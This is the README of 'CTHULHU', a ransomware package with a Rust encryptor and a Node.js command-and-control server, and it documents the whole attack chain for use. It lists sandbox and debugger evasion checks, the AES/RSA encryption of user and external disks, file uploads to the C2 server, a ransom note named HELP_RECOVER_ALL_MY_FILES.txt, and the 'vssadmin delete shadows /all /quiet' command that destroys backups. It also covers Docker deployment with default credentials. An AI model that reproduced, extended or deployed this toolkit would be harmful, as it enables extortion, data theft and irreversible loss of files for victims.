CTHULHU is a package containing a ransomware and a C2. The ransomware is devloped in Rust and the C2 in nodeJS and ReactJS.
The API is designed to run inside a Docker container. The container includes the necessary dependencies and configurations for the API to function properly. The Docker container is built using the provided Dockerfile
.
FROM node:20-alpine
LABEL maintainer="Martin HECQUE | Peter BALIVET | MATHIS DI MASCIO"
# Create App directory for the project
RUN mkdir /app
# Change directory to /app
WORKDIR /app
# Copy all necessary files
COPY . .
RUN npm install --save
# If you are building your code for production
# RUN npm ci --omit=dev
# Set timezone
ENV TZ="Europe/Paris"
EXPOSE 5000
CMD [ "node", "app.js" ]
The Dockerfile
sets up the Docker container by:
- Using the
node:20-alpine
base image. - Creating an
/app
directory inside the container. - Changing the working directory to
/app
. - Copying all files from the current directory (the API source code) into the container's
/app
directory. - Installing the required dependencies using
npm install
. - Setting the timezone to
Europe/Paris
(change as needed). - Exposing port
5000
for the API to listen on. - Specifying the command to run the API using
CMD [ "node", "app.js" ]
.
To simplify the deployment and management of the API and its dependencies, Docker Compose is used. The docker-compose.yml
file defines the services and their configurations.
version: '3.1'
services:
mariadb:
image: mariadb
restart: always
environment:
MARIADB_ROOT_PASSWORD: ${DB_ROOT_PASS}
volumes:
- ./main.sql:/docker-entrypoint-initdb.d/dump.sql
networks:
- backend
adminer:
image: adminer
restart: always
environment:
ADMINER_DEFAULT_SERVER: mariadb
depends_on:
- mariadb
networks:
- backend
- frontend
ports:
- 8080:${ADMINER_PORT}
backend:
build: ./backend
depends_on:
- mariadb
volumes:
- ./backend/app.js:/app/app.js
- cthulhu-backend:/CTHULHU
environment:
DB_HOST: mariadb
DB_USER: ${DB_USER}
DB_MAIN: ${DB_MAIN}
DB_PASS: ${DB_ROOT_PASS}
networks:
- backend
- frontend
ports:
- 5000:${BACKEND_PORT}
frontend:
restart: always
build: ./frontend
ports:
- 443:443
networks:
- frontend
networks:
backend:
frontend:
volumes:
cthulhu-backend:
The docker-compose.yml
file defines three services: mariadb
, adminer
, and backend
.
- Image:
mariadb
- Restart:
always
- Environment Variables:
MARIADB_ROOT_PASSWORD
: The root password for the MariaDB instance (specified in.env
file).
- Networks:
backend
The mariadb
service runs a MariaDB database server. It uses the specified root password and is connected to the backend
network.
- Image:
adminer
- Restart:
always
- Environment Variables:
ADMINER_DEFAULT_SERVER
: The hostname of the
MariaDB service (mariadb
).
- Depends On:
mariadb
- Networks:
backend
,frontend
- Ports:
8080:${ADMINER_PORT}
: Maps the container's port 8080 to the specifiedADMINER_PORT
(specified in.env
file).
The adminer
service provides a web-based database management interface. It depends on the mariadb
service and is connected to both the backend
and frontend
networks. The specified port is exposed for accessing the Adminer interface.
- Build:
./backend
- Depends On:
mariadb
- Volumes:
./backend/app.js:/app/app.js
: Mounts the localapp.js
file into the container's/app/app.js
.cthulhu-backend:/CTHULHU
: Mounts the named volumecthulhu-backend
to/CTHULHU
.
- Environment Variables:
DB_HOST
: The hostname of the MariaDB service (mariadb
).DB_USER
: The database user (root
).DB_MAIN
: The main database name (CTHULHU
).DB_PASS
: The database user's password (specified in.env
file).
- Networks:
backend
,frontend
- Ports:
5000:${BACKEND_PORT}
: Maps the container's port 5000 to the specifiedBACKEND_PORT
(specified in.env
file).
The backend
service builds the API using the source code located in the ./backend
directory. It depends on the mariadb
service and mounts the local app.js
file and the cthulhu-backend
named volume. The environment variables define the database connection details. It is connected to both the backend
and frontend
networks, and the specified port is exposed for accessing the API.
DB_ROOT_PASS=toor
DB_USER=root
DB_MAIN=CTHULHU
BACKEND_PORT=5000
ADMINER_PORT=8080
The .env
file contains environment variable definitions used by the Docker Compose configuration. It includes the following variables:
DB_ROOT_PASS
: The root password for the MariaDB instance.DB_USER
: The database user (default:root
).DB_MAIN
: The main database name (default:CTHULHU
).BACKEND_PORT
: The port on which the API will listen (default:5000
).ADMINER_PORT
: The port on which Adminer will be accessible (default:8080
).
Make sure to adjust these values as needed for your specific deployment.
This code provides functions to detect the presence of a debugger or a sandbox environment. It includes the following functions:
Checks if a debugger is detected.
Returns: true
if a debugger is present; otherwise, false
.
Checks if a sandbox environment is detected.
Returns: true
if a sandbox environment is present; otherwise, false
.
The function checks for the presence of suspiciously named executables that might indicate a sandbox environment. The suspicious executable names include:
- sample.exe
- bot.exe
- sandbox.exe
- malware.exe
- test.exe
- klavme.exe
- myapp.exe
- testapp.exe
- infected.exe
The function checks if any suspicious user names are present on the system. The suspicious user names include:
- CurrentUser
- Sandbox
- Emily
- HAPUBWS
- Hong Lee
- IT-ADMIN
- Johnson
- Miller
- milozs
- Peter Wilson
- timmy
- user
- sand box
- malware
- maltest
- test user
- virus
- John Doe
- SANDBOX
- 7SILVIA
- HANSPETER-PC
- JOHN-PC
- MUELLER-PC
- WIN7-TRAPS
- FORTINET
- TEQUILABOOMBOOM
The function checks for specific conditions related to certain users and host names:
- If the user is "Wilber" and the host name starts with "SC" or "SW".
- If the user is "admin" and the host name is "SystemIT" or "KLONE_X64-PC".
- If the user is "John" and the files "C:\take_screenshot.ps1" and "C:\loaddll.exe" exist.
The function checks for the existence of specific files that might indicate a sandbox environment:
- C:\email.doc
- C:\email.htm
- C:\123\email.doc
- C:\123\email.docx
The function performs the following hardware and system checks:
- Checks if the number of physical CPUs is less than 2.
- Checks if the total space on the C: drive is less than 80 GB (85899345920 bytes).
- Checks if the mouse cursor position remains unchanged after a delay of 10 seconds.
- Checks if the total memory is less than 1 GB (1073741824 bytes).
- Checks if any of the suspicious processes are running.
- Checks the parent process name of the current process.
The function checks the network interfaces for specific MAC addresses that might indicate a sandbox environment:
- MAC addresses starting with "00:05:69"
- MAC addresses starting with "00:0c:29"
- MAC addresses starting with "00:1C:14"
- MAC addresses starting with "00:50:56"
- MAC addresses starting with "08:16:3E"
- MAC addresses starting with "08:00:27"
This code provides functions to retrieve various system information such as disk details, operating system version, hostname, username, and user home directory.
Retrieves the mounted points of the system disks.
Returns: A Vec<String>
containing the mounted points of the system disks.
Retrieves the operating system version.
Returns: A String
representing the operating system version.
Retrieves the hostname of the system.
Returns: A String
representing the hostname.
Retrieves the username of the current user.
Returns: A String
representing the username.
Retrieves the home directory path of the current user.
Returns: A PathBuf
representing the user's home directory path.
The function get_disks()
uses the sysinfo
crate to retrieve system disk information. It iterates over the disks and extracts their mounted points into a Vec<String>
.
The function get_version()
utilizes the os_info
crate to retrieve the operating system information. It obtains the operating system type using os_info::get().os_type()
and maps it to a human-readable string. The operating system version is retrieved using os_info::get().version()
, and the version information is formatted into a string.
The function get_hostname()
leverages the whoami
crate to retrieve the hostname of the system using whoami::hostname()
.
The function get_username()
uses the whoami
crate to retrieve the username of the current user using whoami::username()
.
The function get_user_home()
utilizes the home
crate to retrieve the home directory path of the current user. It uses home::home_dir()
to obtain the Option<PathBuf>
representing the user's home directory. If the home directory is found, it is returned as a PathBuf
; otherwise, a fallback value of "unknown" is used.
This code provides functions for encrypting and decrypting files using AES-256 CTR encryption. It supports multi-threaded encryption and decryption of files in a specified directory. The encryption is performed using RSA public-key cryptography, where the AES key is encrypted with the recipient's public key before being stored in the encrypted file.
The code is organized into several functions and helper methods. Here's a brief summary of each component:
aes_256_ctr_encrypt_decrypt
: This function performs AES-256 CTR encryption or decryption on a given ciphertext using the provided key and nonce.gen_aes_key
: This function generates a random AES key of the specified size.inc_counter
: This helper function increments the given nonce, used in AES-CTR mode, by 1.get_dst_file_path
: This function returns the destination file path for the encrypted file based on the source file path.FileEncryptionDecryptionError
: This is an enum that represents possible errors that can occur during file encryption or decryption.encrypt_decrypt_file
: This function encrypts or decrypts a file based on the specified parameters. It uses AES-CTR encryption for the file data and RSA encryption for the AES key.multi_threaded_encrypt_decrypt_files
: This function performs multi-threaded encryption or decryption on multiple files within a directory. It distributes the files among multiple threads for parallel processing.
To use this code, you need to import the necessary dependencies:
use aes::{
cipher::{NewCipher, StreamCipher},
Aes256Ctr,
};
use rand::{distributions::Uniform, thread_rng, Rng};
use rsa::{
pkcs1::{DecodeRsaPrivateKey, DecodeRsaPublicKey},
Pkcs1v15Encrypt, RsaPrivateKey, RsaPublicKey,
};
use walkdir::WalkDir;
use std::{
fmt::Error as FmtError,
fs::{remove_file, File, OpenOptions},
io::{BufReader, Read, Seek, SeekFrom, Write},
path::{Path, PathBuf},
sync::mpsc::{channel, Sender},
thread::{self, JoinHandle},
};
use crate::c2::api::C2API;
Note: Some dependencies may need to be added to your project's Cargo.toml
file.
To encrypt or decrypt a file, you can use the encrypt_decrypt_file
function:
pub fn encrypt_decrypt_file(
file_src_path: &str,
private_public_key: String,
is_encryption: u8,
) -> Result<usize, FileEncryptionDecryptionError>
file_src_path
: The path to the source file to be encrypted or decrypted.private_public_key
: The RSA private or public key used for encryption or decryption.is_encryption
: A flag indicating whether encryption or decryption should be performed. Set it to1
for encryption and0
for decryption.
The function returns the total number of bytes read from the file if successful, or an error of type FileEncryptionDecryptionError
if an error occurs.
To perform multi-threaded encryption or decryption on multiple files within a directory, you can use the multi_threaded_encrypt_decrypt_files
function:
pub fn multi_threaded_encrypt_decrypt_files(
directory: &str,
private_public_key: String,
user_id: String,
is_encryption: u8,
)
-
directory
: The directory containing the files to be encrypted or decrypted. -
private_public_key
: The RSA private or public key used for encryption or decryption. -
user_id
: An identifier for the user or recipient of the encrypted files. -
is_encryption
: A flag indicating whether encryption or decryption should be performed. Set it to1
for encryption and0
for decryption.
This function performs multi-threaded processing on the files in the specified directory, distributing the workload among multiple threads for faster execution.
Example usage of the encrypt_decrypt_file
function:
let file_path = "path/to/file";
let private_public_key = "RSA private or public key";
let is_encryption = 1;
match encrypt_decrypt_file(file_path, private_public_key, is_encryption) {
Ok(bytes_read) => println!("Encryption successful. Bytes read: {}", bytes_read),
Err(err) => println!("Encryption failed: {:?}", err),
}
Example usage of the multi_threaded_encrypt_decrypt_files
function:
let directory = "path/to/directory";
let private_public_key = "RSA private or public key";
let user_id = "user123";
let is_encryption = 1;
multi_threaded_encrypt_decrypt_files(directory, private_public_key, user_id, is_encryption);
The code snippet defines a function named encrypt_decrypt_external_disks
with the following signature:
pub fn encrypt_decrypt_external_disks(private_public_key: String, user_id: String, is_encryption: u8)
private_public_key
(String): A string representing the private/public key used for encryption/decryption.user_id
(String): A string representing the user ID.is_encryption
(u8): An unsigned 8-bit integer representing the operation mode. It determines whether encryption or decryption should be performed.
The encrypt_decrypt_external_disks
function performs encryption or decryption on external disks using the provided private/public key. It iterates over the available disks, excluding the "C:\" disk, and calls the multi_threaded_encrypt_decrypt_files
function to perform encryption or decryption on the files within each disk.
The function uses the get_disks
function from the crate::system::info
module to obtain a list of available disks. For each disk (excluding the system disk "C:\"), it calls the multi_threaded_encrypt_decrypt_files
function, passing the disk path, private/public key, user ID, and operation mode as arguments.
Here is an example of how you can use the encrypt_decrypt_external_disks
function:
fn main() {
let private_public_key = "your_private_public_key".to_string();
let user_id = "your_user_id".to_string();
let is_encryption = 1; // 1 for encryption, 0 for decryption
encrypt_decrypt_external_disks(private_public_key, user_id, is_encryption);
}
In the example above, the function is called with the appropriate arguments to perform encryption on external disks using the provided private/public key and user ID.
Make sure to replace "your_private_public_key"
and "your_user_id"
with the actual values you want to use.
This code provides a C2API
struct that encapsulates functionalities related to interacting with a command and control (C2) API. It includes methods for making POST and GET requests, retrieving public IP information, and uploading files to the C2 server.
The code relies on the following dependencies:
use reqwest::{
blocking::multipart::{Form, Part},
Client, Error, Response,
};
use serde_json::{json, Value};
use std::{
collections::HashMap,
fs::File,
io::{self, Read, Seek},
str::FromStr,
};
Make sure to add these dependencies to your project's Cargo.toml
file.
To use this code, create an instance of the C2API
struct and call its methods. Here's an overview of the available methods:
pub fn new() -> Self
This method creates a new instance of the C2API
struct and initializes the base URL for the C2 API.
async fn format_response(self, response: Result<Response, Error>) -> HashMap<String, Value>
This private method formats the response received from the API into a HashMap<String, Value>
. It handles success and error cases, returning the response as a HashMap
for further processing.
pub async fn post(self, json_body: &Value, uri: &str) -> HashMap<String, Value>
This method sends a POST request to the C2 API with the provided JSON body and URI. It returns the response as a HashMap<String, Value>
.
pub async fn get_public_ip_info(self) -> HashMap<String, Value>
This method retrieves public IP information by sending a GET request to an external service. It returns the response as a HashMap<String, Value>
.
pub fn upload_file(self, file_path: String, user_id: &str) -> Result<(), Box<dyn std::error::Error>>
This method uploads a file to the C2 server in chunks using a multipart/form-data request. It takes the file path and user ID as parameters and returns Ok(())
if the upload is successful or an error if any issues occur.
Example usage of the C2API
struct:
let api = C2API::new();
// Example: Send a POST request
let json_body = json!({"name": "John", "age": 30});
let uri = "endpoint";
let response = api.post(&json_body, uri).await;
println!("Response: {:?}", response);
// Example: Retrieve public IP information
let ip_info = api.get_public_ip_info().await;
println!("Public IP info: {:?}", ip_info);
// Example: Upload a file
let file_path = "path/to/file.txt";
let user_id = "user123";
match api.upload_file(file_path.to_string(), user_id) {
Ok(_) => println!("File upload successful!"),
Err(err) => println!("File upload failed: {:?}", err),
}
Note: Replace the placeholder values with appropriate data for your use case.
This code provides a function to delete shadow copies using the vssadmin
command.
Deletes shadow copies using the vssadmin
command.
The function executes the following command using the Command module:
Command::new("cmd")
.args(&["/C", "vssadmin delete shadows /all /quiet"])
.output()
.expect("Failed to execute command");
The command executed is cmd /C vssadmin delete shadows /all /quiet
, which invokes the vssadmin
tool with the delete shadows /all /quiet
arguments. The /all
option deletes all existing shadow copies, and the /quiet
option suppresses confirmation prompts.
The function captures the output of the executed command. The output contains the following information:
stdout
: Captures the standard output of the command.stderr
: Captures the error output of the command.status
: Represents the exit status of the command.
The function checks the exit status of the command execution using output.status
. If the command execution was successful, the exit status will indicate success.
- If
output.status.success()
returnstrue
, the function prints "Shadow copies deleted successfully". - If
output.status.success()
returnsfalse
, the function prints "Failed to delete shadow copies".
Note: The actual output captured from the vssadmin
command is not used in this code, but it can be accessed from the stdout
and stderr
fields of the output
struct if needed.
This code represents an entry point for a program that performs certain actions based on command-line arguments. It imports and utilizes modules c2
, encryption
, and system
for various functionalities related to interacting with a C2 API, encryption, and system information.
The code relies on the following dependencies:
mod c2;
mod encryption;
mod system;
use base64::{engine::general_purpose, Engine as _};
use serde_json::json;
use std::{
env,
fs::{read_to_string, File, OpenOptions},
io::Write,
process::exit,
};
Make sure to add these dependencies to your project's Cargo.toml
file.
The code checks the command-line arguments and performs different actions based on the number of arguments.
If no arguments are provided, the code checks if a debugger or sandbox environment is detected using the sandbox
module from the system
module.
If no debugger or sandbox is detected, the code proceeds with the following steps:
- Creates an instance of
C2API
from thec2
module. - Retrieves public IP information using the
get_public_ip_info
method ofC2API
. - Checks if an error occurred during the retrieval of public IP information. If so, it prints the error message and exits.
- Retrieves system information such as hostname and username using the
info
module from thesystem
module. - Constructs a JSON body containing system information and public IP details.
- Sends a POST request with the JSON body to the C2 API endpoint
/agent/new
using thepost
method ofC2API
. - Checks if an error occurred during the POST request. If so, it prints the error message and exits.
- Creates an agent tag using the received data from the API response.
- Encodes the agent tag using Base64 encoding.
- Cleans the received public key and assigns it to
private_public_key
. - Performs file and disk encryption using methods from the
encryption
module. - Writes a message containing the recovery instructions to a file named
HELP_RECOVER_ALL_MY_FILES.txt
. - Deletes shadow copies using the
delete_shadow_copies
method from thefile
module in thesystem
module.
If one argument is provided, the code assumes it is a path to a private key file.
The code performs the following steps:
- Reads the contents of the private key file.
- Performs file and disk encryption using methods from the
encryption
module.
Example usage of the code:
#[tokio::main]
async fn main() {
// ... Code from the original main function
}
Ensure that you have the required dependencies, modules, and files in your project before running the code.
This document provides an overview and documentation for the API implemented in the provided code. The API allows clients to interact with a server for managing agents and uploading files.
The API create its own nodejs server at this address
http://localhost:5000/
- URL: /api/agent/new
- Method: POST
- Description: Create a new agent and store its information in a MySQL database.
- Request Body:
- versionOS (required): The version of the operating system running on the agent.
- host (required): The host name or IP address of the agent.
- hookUser (required): The hook user of the agent.
- Response:
- Status Code: 200 OK on success, 400 Bad Request if parameters are missing or invalid, 500 Internal Server Error if an error occurs during database insertion.
- Response Body:
{
"data": {
"id": "<agentId>",
"publicKey": "<publicKey>"
},
"error": {}
}
- Example:
POST /api/agent/new HTTP/1.1
Host: localhost:5000
Content-Type: application/json
{
"versionOS": "1.0",
"host": "example.com",
"hookUser": "john.doe"
}
- URL: /api/file/upload/:user_folder
- Method: POST
- Description: Upload a file and save it in the specified user folder.
- Request Parameters:
- user_folder (required): The user folder to which the file should be uploaded.
- Request Body:
- The file to be uploaded should be sent as multipart/form-data with the file field name set to file.
- Response:
- Status Code: 200 OK on success, 400 Bad Request if no file is uploaded.
- Response Body:
{
"data": {
"success": "<filename> uploaded successfully."
},
"error": {}
}
- Example:
POST /api/file/upload/123 HTTP/1.1
Host: localhost:5000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="example.txt"
Content-Type: text/plain
This is the content of the file.
------WebKitFormBoundary7MA4YWxkTrZu0gW--
The API connects to a MySQL database for storing agent information. The database connection details are specified using environment variables:
- DB_HOST: The host name or IP address of the MySQL database.
- DB_USER: The username for accessing the MySQL database.
- DB_PASS: The password for accessing the MySQL database.
- DB_MAIN: The name of the main database.
The API creates a folder named /CTHULHU/users
if it doesn't already exist. Additionally, for each agent created, a user-specific folder is created within /CTHULHU/users
.
The folder structure is as follows:
/CTHULHU
/users
/<agentId_1>
/<agentId_2>
- ...
/<agentId_n>
When a new agent is created, the API performs the following steps:
- Checks if the
/CTHULHU/users
folder exists. - If the folder doesn't exist, it is created.
- Creates a user-specific folder within
/CTHULHU/users
for the agent using the agent's ID.
Let's assume that the API receives a request to create a new agent with the ID 123
. Here's the folder creation process:
- The API checks if the
/CTHULHU/users
folder exists. - If the folder doesn't exist, it creates the
/CTHULHU/users
folder. - The API creates a user-specific folder named
/CTHULHU/users/123
for the agent with ID123
.
The created folder structure would be:
/CTHULHU
/users
/123
For each agent created, the API generates an RSA key pair consisting of a public key and a private key. The key pair is generated using a modulus length of 4096 bits. The generated keys are stored in the MySQL database along with other agent information.
When a new agent is created, the API performs the following steps to generate the RSA key pair:
- Generates an RSA key pair using the
crypto.generateKeyPairSync
method with the following options:- Algorithm: RSA
- Modulus Length: 4096 bits
- Public Key Encoding: PKCS#1 format in PEM encoding
- Private Key Encoding: PKCS#1 format in PEM encoding
- The generated public key and private key are converted to string representations.
- The public key string is stored in the
pubKey
field of the agent's record in the MySQL database. - The private key string is stored in the
privKey
field of the agent's record in the MySQL database.
When a new agent is created, the API generates an RSA key pair. Let's assume the key generation process produces the following keys:
-
Public Key:
-----BEGIN RSA PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAyDRa5PEVYl2T3EzvG1on ... d8Ou9azXQIDAQAB -----END RSA PUBLIC KEY-----
-
Private Key:
-----BEGIN RSA PRIVATE KEY----- MIIJKQIBAAKCAgEAyDRa5PEVYl2T3EzvG1onC4vPwL... ... 8RTgJ8SPaHv/SmB2DhYO98C6HpU= -----END RSA PRIVATE KEY-----
The generated keys are then stored in the agent's record in the MySQL database.
This table stores information about agents.
Column Name | Data Type | Description |
---|---|---|
agentID |
int(255) | Unique identifier for each agent. |
ip |
varchar(20) | IP address of the agent. |
host |
varchar(50) | Host name of the agent. |
versionOS |
varchar(30) | Version of the operating system. |
hookUser |
varchar(50) | User associated with the agent. |
hookDate |
timestamp | Date and time of the agent's hook. |
privKey |
TEXT | Private key of the agent. |
pubKey |
TEXT | Public key of the agent. |
pathToData |
varchar(255) | Path to agent's data. |
country |
char(50) | Country of the agent. |
totalFilesSend |
int(255) | Total number of files sent by the agent. |
totalFilesEncrypt |
int(255) | Total number of files encrypted by the agent. |
PRIMARY KEY |
agentID |
Primary key of the table. |
This table stores different roles in the system.
Column Name | Data Type | Description |
---|---|---|
role_id |
int | Unique identifier for each role. |
role_name |
varchar(191) | Name of the role. |
PRIMARY KEY |
role_id |
Primary key of the table. |
This table stores user information.
Column Name | Data Type | Description |
---|---|---|
user_id |
int | Unique identifier for each user. |
user_firstname |
varchar(191) | First name of the user. |
user_lastname |
varchar(191) | Last name of the user. |
user_name |
varchar(191) | Username of the user. |
user_email |
varchar(191) | Email address of the user. |
user_password |
varchar(191) | Password of the user. |
user_token |
varchar(191) | Token associated with the user (optional). |
role_id |
int | Foreign key referencing the role_id in roles table. |
PRIMARY KEY |
user_id |
Primary key of the table. |
users_user_email_key |
(unique) | Unique constraint on user_email column. |
users_role_id_key |
(index) | Index on role_id column. |
users_role_id_fkey |
(foreign key) | Foreign key constraint referencing role_id in roles table. |
In this page you can see all the agents that are connected to the C2.
MIT License
Copyright (c) 2023 Ashguard
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.